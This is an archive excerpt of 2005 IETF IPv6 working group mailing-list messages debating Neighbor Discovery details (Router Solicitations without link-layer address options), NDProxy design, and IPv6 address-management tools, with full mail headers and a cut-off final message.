X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 3002fc2e661cd7f114cb6bae92fe88f1 Content-Transfer-Encoding: quoted-printable Hi Greg,=20 I was definitely assuming that address resolution will take place in the case where the response is sent unicast. I assume that's what you're suggesting, but I'm not sure what state you're suggesting. Hesham > -----Original Message----- > From: Greg Daley [mailto:greg.daley@eng.monash.edu.au] > Sent: Friday, February 18, 2005 9:19 PM > To: Soliman, Hesham > Cc: Christian Vogt; ipv6@ietf.org; Mark Doll; Roland Bless > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO >=20 >=20 > Hi Hesham, >=20 > Soliman, Hesham wrote: > > Christian,=20 > >=20 > > Thanks for the detailed description. I think Nick brought this up > > some time ago too.=20 > >=20 > > My suggestion is that upon reception of an RS with no SLLAO the=20 > > router checks if an entry already exists, if none exists then it > > creates one and puts it in STALE. If an entry already exists with > > a LLA then it responds with a (two options):=20 >=20 > Putting things in STALE doesn't work unless there's a link-layer > address known ( and there's none in the received RS). >=20 > > - unicast RA unless a multicast RA was > > already scheduled.=20 > >=20 > > - A multicast RA.=20 > >=20 > > I think the second option might be better to allow for ODAD to > > work. =20 > >=20 > > Thoughts? >=20 > This was discussed recently on DNA list since there's an idea to > use TSLLAOs (Tentative source link-layer address options) in > RSs without SLLAOs when a node is optimistic. >=20 > I believe that Erik indicated multicast was the logical way to go. > I guess that's the way most implementations have gone. >=20 > We already have at least one implementation (RADVD on linux) > which will send a unicast RA without needing an existing neighbour > entry (and works without SLLAO in RS). It first does neighbour > resolution before delivering the unicast RA. >=20 > Where the NS is sent, the recipient has to respond with an NA > before the RA is sent, so there's no real potential for > multiplicative attacks (except for NS retries when a node isn't > present). >=20 > Bandwidth utilization and packet loss probability are higher though. >=20 > Greg >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 02:42:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04305 for ; Sat, 19 Feb 2005 02:42:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2PcH-0005Nh-5C for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 03:05:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2P6F-0002vd-UW; Sat, 19 Feb 2005 02:32:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2OwL-000430-Cw for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 02:22:09 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA01429 for ; Sat, 19 Feb 2005 02:22:05 -0500 (EST) Received: from burp.tkv.asdf.org ([212.16.99.49] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2PI7-0004oV-3S for ipv6@ietf.org; Sat, 19 Feb 2005 02:44:40 -0500 Received: from burp.tkv.asdf.org (msa@localhost [127.0.0.1]) by burp.tkv.asdf.org (8.13.3/8.13.3/Debian-6) with ESMTP id j1J7M2E7020605 for ; Sat, 19 Feb 2005 09:22:02 +0200 Received: (from msa@localhost) by burp.tkv.asdf.org (8.13.3/8.13.3/Submit) id j1J7M2mn020602; Sat, 19 Feb 2005 09:22:02 +0200 Date: Sat, 19 Feb 2005 09:22:02 +0200 Message-Id: <200502190722.j1J7M2mn020602@burp.tkv.asdf.org> From: Markku Savela To: ipv6@ietf.org In-reply-to: <4.3.2.7.2.20050218161058.00c9efb0@flask.cisco.com> (message from Ralph Droms on Fri, 18 Feb 2005 16:11:52 -0500) References: <4.3.2.7.2.20050218161058.00c9efb0@flask.cisco.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Subject: Re: [NDProxy#20] DHCPv4 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Sorry about somewhat OT content, but... For some intended uses, NDproxy is awfully complex way of achieving a result, which would much easier to do as follows: 1) ISP give /64 2) use internally longer prefix (68 or 72), reserve the one (based on ID assigned to the ISP link) for the ISP link, and use rest for own private purpose. 3) Run modified router, that taks in /64, and addversises the longer prefix on other links with different different prefixes. This would work just fine, if nodes on internal network take the RA prefix length as is, and just trunctate their ID-parts from higher ends (or they could just generate ID randomly). Throw away all this sillyness with fixed 64-bit ID etc.. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 09:34:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07331 for ; Sat, 19 Feb 2005 09:34:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2W2g-0000Ku-7t for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 09:57:11 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2U8w-0005RH-3r; Sat, 19 Feb 2005 07:55:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2PuG-00037w-Hb for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 03:24:06 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08704 for ; Sat, 19 Feb 2005 03:24:02 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2QG3-0006Z3-H5 for ipv6@ietf.org; Sat, 19 Feb 2005 03:46:38 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1J8NLn18226; Sat, 19 Feb 2005 10:23:21 +0200 Date: Sat, 19 Feb 2005 10:23:21 +0200 (EET) From: Pekka Savola To: Markku Savela In-Reply-To: <200502190722.j1J7M2mn020602@burp.tkv.asdf.org> Message-ID: References: <4.3.2.7.2.20050218161058.00c9efb0@flask.cisco.com> <200502190722.j1J7M2mn020602@burp.tkv.asdf.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: ipv6@ietf.org Subject: Re: [NDProxy#20] DHCPv4 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 On Sat, 19 Feb 2005, Markku Savela wrote: > This would work just fine, if nodes on internal network take the RA > prefix length as is, and just trunctate their ID-parts from higher > ends (or they could just generate ID randomly). Throw away all this > sillyness with fixed 64-bit ID etc.. This would require changes to the hosts (and have other issues besides) -- not good. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 09:39:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07637 for ; Sat, 19 Feb 2005 09:39:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2W7m-0000U4-Uh for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 10:02:28 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2UKN-0007tJ-2J; Sat, 19 Feb 2005 08:07:19 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2TFR-0003DP-Qk for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 06:58:10 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10506 for ; Sat, 19 Feb 2005 03:49:54 -0500 (EST) Received: from alpha9.its.monash.edu.au ([130.194.1.9]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Qf5-0007Ta-Qg for ipv6@ietf.org; Sat, 19 Feb 2005 04:12:30 -0500 Received: from localhost ([130.194.13.82]) by vaxh.its.monash.edu.au (PMDF V5.2-31 #39306) with ESMTP id <01LL0151Y71Y8Y70NZ@vaxh.its.monash.edu.au> for ipv6@ietf.org; Sat, 19 Feb 2005 19:49:45 +1100 Received: from larry.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id A291880002; Sat, 19 Feb 2005 19:49:44 +1100 (EST) Received: from monash.edu.au (dollet.its.monash.edu.au [130.194.11.236]) by larry.its.monash.edu.au (Postfix) with ESMTP id 87DF73C00B; Sat, 19 Feb 2005 19:49:44 +1100 (EST) Received: from [211.28.23.224] by mail-store-2.its.monash.edu.au (mshttpd) ; Sat, 19 Feb 2005 19:49:44 +1100 Date: Sat, 19 Feb 2005 19:49:44 +1100 From: Greg Daley To: "Soliman, Hesham" Message-id: <7c61017c90fb.7c90fb7c6101@monash.edu.au> MIME-version: 1.0 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) Content-type: text/plain; charset=us-ascii Content-language: en Content-disposition: inline Content-transfer-encoding: 7BIT Priority: normal X-Accept-Language: en X-Spam-Score: 0.1 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Content-Transfer-Encoding: 7BIT Cc: Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Content-Transfer-Encoding: 7BIT Hi Hesham, ----- Original Message ----- From: "Soliman, Hesham" Date: Saturday, February 19, 2005 2:21 pm Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO > Hi Greg, > > I was definitely assuming that address resolution will > take place in the case where the response is sent unicast. > I assume that's what you're suggesting, but I'm not sure what > state you're suggesting. There's no state created (no NCE) until the unicast packet is about to be sent. this ensures that NCEs aren't created for RSs arriving without SLLAO which receive a multicast response. This is exactly as it should be. Greg -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 09:45:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08098 for ; Sat, 19 Feb 2005 09:45:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2WDZ-0000dM-J3 for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 10:08:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2URf-0000ok-KL; Sat, 19 Feb 2005 08:14:51 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2TGt-0001lk-8p for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 06:59:39 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08955 for ; Sat, 19 Feb 2005 03:28:58 -0500 (EST) Received: from burp.tkv.asdf.org ([212.16.99.49] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2QKr-0006fk-2T for ipv6@ietf.org; Sat, 19 Feb 2005 03:51:34 -0500 Received: from burp.tkv.asdf.org (msa@localhost [127.0.0.1]) by burp.tkv.asdf.org (8.13.3/8.13.3/Debian-6) with ESMTP id j1J8StRK022351; Sat, 19 Feb 2005 10:28:55 +0200 Received: (from msa@localhost) by burp.tkv.asdf.org (8.13.3/8.13.3/Submit) id j1J8StKU022348; Sat, 19 Feb 2005 10:28:55 +0200 Date: Sat, 19 Feb 2005 10:28:55 +0200 Message-Id: <200502190828.j1J8StKU022348@burp.tkv.asdf.org> From: Markku Savela To: pekkas@netcore.fi In-reply-to: (message from Pekka Savola on Sat, 19 Feb 2005 10:23:21 +0200 (EET)) References: <4.3.2.7.2.20050218161058.00c9efb0@flask.cisco.com> <200502190722.j1J7M2mn020602@burp.tkv.asdf.org> X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: ipv6@ietf.org Subject: Re: [NDProxy#20] DHCPv4 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 > On Sat, 19 Feb 2005, Markku Savela wrote: > > This would work just fine, if nodes on internal network take the RA > > prefix length as is, and just trunctate their ID-parts from higher > > ends (or they could just generate ID randomly). Throw away all this > > sillyness with fixed 64-bit ID etc.. > > This would require changes to the hosts (and have other issues > besides) -- not good. Implementations might already work this way. This should be specified in the RFC as a correct behaviour with longer prefix, instead of rejecting them. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 13:38:13 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27335 for ; Sat, 19 Feb 2005 13:38:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Zqa-0006ke-6E for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 14:00:56 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Xue-0005UQ-O4; Sat, 19 Feb 2005 11:57:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Vaw-0007YB-Uq for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 09:28:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA06907 for ; Sat, 19 Feb 2005 09:28:23 -0500 (EST) Received: from ae244.ade2.point.ne.jp ([218.230.4.244] helo=nereid.bugest.net) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Vwk-0000BU-9q for ipv6@ietf.org; Sat, 19 Feb 2005 09:51:02 -0500 Received: from bugest.net (nereid.bugest.net [172.16.0.5]) by nereid.bugest.net (Postfix) with ESMTP id AA3E03A384; Sat, 19 Feb 2005 23:28:06 +0900 (JST) Message-ID: <42174CF7.80209@bugest.net> Date: Sat, 19 Feb 2005 23:28:07 +0900 From: Kosuke Ito Organization: IPv6 Promotion Council of Japan / Canon Inc. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: ja MIME-Version: 1.0 To: Mohacsi Janos References: <34919D5FCCAB494F97265DA64D1D70308367A3@XCH-SW-1V1.sw.nos.boeing.com> <20050218082110.Q60415@mignon.ki.iif.hu> In-Reply-To: <20050218082110.Q60415@mignon.ki.iif.hu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 2.6 (++) X-Scan-Signature: 00e94c813bef7832af255170dca19e36 Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Sat, 19 Feb 2005 11:56:58 -0500 Cc: ipv6@ietf.org, "Rahim, Shaffiq S" Subject: Re: IPv6 Address Management X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.6 (++) X-Scan-Signature: b280b4db656c3ca28dd62e5e0b03daa8 Content-Transfer-Encoding: 7bit Hi, Just FYI. IPv6 Promotion Council of Japan has developed the web-based IPv6 space management tool and make the source code available to public. This tool is especially prepared for LIRs to report the assignments of /48s to RIRs which is mandated by RIR's IPv6 allocation and assignment policy. http://www.ipv6style.jp/en/tryout/latest.shtml #it is regret that the English version of manual documents are not ready yet. Any volunteer for translating it? :-) Thank you Kosuke Mohacsi Janos wrote: > Hi, > You can try FreeIPdb available at http://www.freeipdb.org/. > Cheers, > > Janos Mohacsi > Network Engineer, Research Associate > NIIF/HUNGARNET, HUNGARY > Key 00F9AF98: 8645 1312 D249 471B DBAE 21A2 9F52 0D1F 00F9 AF98 > > > On Thu, 17 Feb 2005, Rahim, Shaffiq S wrote: > >> I am currently setting up an IPv6 test infrastructure. However, I am >> running into the issue of finding a good tool to manage IPv6 Address >> Allocation. I have found the Lucent QIP product; however, it is quite >> high in pricing. Does anyone know about any other software available to >> manage IPv6 address allocation? >> >> Thanks, >> >> Shaffiq S. Rahim >> Systems/Software Engineer >> The Boeing Company >> Phantom Works - IDeAS >> NCO Programs & Technologies >> (714) 762-3722 - Desk >> (714) 315-5494 - Cell >> shaffiq.s.rahim@boeing.com >> >> -------------------------------------------------------------------- >> IETF IPv6 working group mailing list >> ipv6@ietf.org >> Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 >> -------------------------------------------------------------------- >> > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- > > -- **********IPv6 Internet Wonderland!************ Kosuke Ito, Master Planning and Steering Group IPv6 Promotion Council of Japan (Visiting Researcher, SFC Lab. KEIO University) Tel:+81-3-5209-4588 Fax:+81-3-3255-9955 Cell:+81-90-4605-4581 mailto: kosuke@v6pc.jp http://www.v6pc.jp/ Lifetime e-mail: kosuke@stanfordalumni.org -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 13:38:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27380 for ; Sat, 19 Feb 2005 13:38:43 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Zr1-0006mO-As for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 14:01:26 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2XwT-00066U-O9; Sat, 19 Feb 2005 11:58:53 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D21tc-000719-10 for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 01:45:48 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05994 for ; Fri, 18 Feb 2005 01:45:47 -0500 (EST) Received: from ind-iport-1-sec.cisco.com ([64.104.129.9] helo=n-iport-1-sec.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D22FC-0007Bm-OR for ipv6@ietf.org; Fri, 18 Feb 2005 02:08:08 -0500 Received: from india-core-1.cisco.com (64.104.129.221) by n-iport-1-sec.cisco.com with ESMTP; 18 Feb 2005 12:27:00 +0530 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,96,1107714600"; d="scan'208"; a="22948592:sNHT22725652" Received: from codc-mira-1.cisco.com (IDENT:mirapoint@codc-mira-1.cisco.com [192.122.173.20]) by india-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j1ICEIAe020918; Fri, 18 Feb 2005 12:14:18 GMT Received: from swaroop-w2k.cisco.com ([10.77.234.89]) by codc-mira-1.cisco.com (MOS 3.4.6-GR) with ESMTP id AHX25480; Fri, 18 Feb 2005 12:15:08 +0530 (IST) Message-Id: <4.3.2.7.2.20050218120744.02d6aee0@codc-mira-1.cisco.com> X-Sender: swaroop@codc-mira-1.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 18 Feb 2005 12:15:08 +0530 To: ipv6@ietf.org From: "Swaroop George A." Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 X-Mailman-Approved-At: Sat, 19 Feb 2005 11:58:51 -0500 Cc: subrah@cisco.com Subject: Q on RFC 2011/2012/2013 updates X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Hi, I would like to know whether following updates are stable enough to implement or is there any possibility of having a newer revision on these (other than a new RFC) draft-ietf-ipv6-rfc2011-update-10.txt draft-ietf-ipv6-rfc2012-update-06.txt draft-ietf-ipv6-rfc2013-update-04.txt thanks Swaroop -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 14:48:13 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01453 for ; Sat, 19 Feb 2005 14:48:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2awH-0008PU-Jf for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 15:10:54 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Z6S-0002tJ-8e; Sat, 19 Feb 2005 13:13:16 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Xrf-0004gP-55 for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 11:53:55 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19538 for ; Sat, 19 Feb 2005 11:53:47 -0500 (EST) Received: from darkstar.iprg.nokia.com ([205.226.5.69]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2YDT-00048l-90 for ipv6@ietf.org; Sat, 19 Feb 2005 12:16:28 -0500 Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id j1JHNCw21369; Sat, 19 Feb 2005 09:23:12 -0800 X-mProtect: <200502191723> Nokia Silicon Valley Messaging Protection Received: from danira-pool05070.americas.nokia.com (10.241.50.70, claiming to be "l5131412.nokia.com") by darkstar.iprg.nokia.com smtpd2e6ZHX; Sat, 19 Feb 2005 09:22:57 PST Message-Id: <6.2.1.2.2.20050219084728.02d290b8@mailhost.iprg.nokia.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.1.2 Date: Sat, 19 Feb 2005 08:52:36 -0800 To: Erik Nordmark From: Bob Hinden In-Reply-To: <4216AB7C.4040109@sun.com> References: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> <6.2.1.2.2.20050218161226.029f1218@mailhost.iprg.nokia.com> <4216AB7C.4040109@sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Cc: Margaret Wasserman , ipv6@ietf.org, Bob Hinden , Dave Thaler Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Erik, >FWIW it also support a single proxy having multiple downstream interfaces. >I don't know if that is an interesting case when multiple L2 technologies >are being used. Good point. I can think of a device with more than two interfaces (for example, GPRS, WLAN, BT, and USB). >>I think people are going to build things like this independent of what >>the IETF does and publishing this (with the changes being discussed) >>seems like a reasonable thing thing for the community. It will help >>people avoid many of the mistakes that have been discussed. > >Yep. Thanks, Bob -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 15:17:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04242 for ; Sat, 19 Feb 2005 15:17:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2bP2-0000ZO-Db for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 15:40:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Z98-0003Va-3e; Sat, 19 Feb 2005 13:16:02 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2XvR-0005ih-5N for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 11:57:49 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19861 for ; Sat, 19 Feb 2005 11:57:41 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX19i/O11tYsbXJiek1t6LvkfLCLUH4kzHg0=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2YHF-0004HF-Sq for ipv6@ietf.org; Sat, 19 Feb 2005 12:20:22 -0500 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by iramx2.ira.uni-karlsruhe.de with esmtpsa (Exim 4.43 #1) id 1D2XvA-0003it-Lv; Sat, 19 Feb 2005 17:57:36 +0100 Message-ID: 